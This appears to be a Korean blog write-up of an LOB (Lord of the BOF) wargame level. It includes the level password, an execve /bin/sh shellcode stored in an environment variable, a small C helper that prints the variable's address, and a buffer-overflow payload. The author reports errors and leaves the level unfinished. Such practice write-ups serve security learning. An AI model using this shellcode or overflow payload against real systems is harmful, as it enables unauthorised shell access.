728x90

id = gremlin 

pw = hello bof world

 

1번 이미지

 

bash2를 해주고 cobolt.c 파일을 읽어보니, buffer가 16바이트이고, 내가 쓰는 shell코드는 24바이트이므로, buffer에

넣을 수 없다. (\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80)

따라서, 우리는 환경변수를 이용할 것이고, 환경변수를 지정한 다음 리턴값을 환경변수의 주소로 넣어줄 것이다.

먼저 해야하는 것은 환경변수를 지정하는것이다.

(환경변수 지정어 >>  export (변수명) = (변수내용) )

export EGG=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

이렇게 설정해준다.

 다음은 환경변수를 구하기 위한 코드를 작성해보자.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char *argv[])s

{

char *ptr;

ptr = getenv(argv[1]);

printf("%p\n", ptr);

return 0;

}

이렇게 짜봤다.

 

2번 이미지

 

환경변수의 주소는 0xbffffeb6

이제 페이로드를 작성해보면, 

./cobolt `python -c 'print "a"*20+"\xb6\xfe\xff\xbf"'`

 

오류가 뜨긴 하지만 이 문제의 의도에 적합한 풀이다.

 

 

//7월 13일 수정

위의 환경변수에 썰매를 타게 해주니 이젠 illegal ~ 라는 오류가 뜬다.

구글링하니 단순한 문제가 아닌것 같아서 이 문제는 일단 넘어가기로 했다. 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 1번  (0) 2020.07.11

+ Recent posts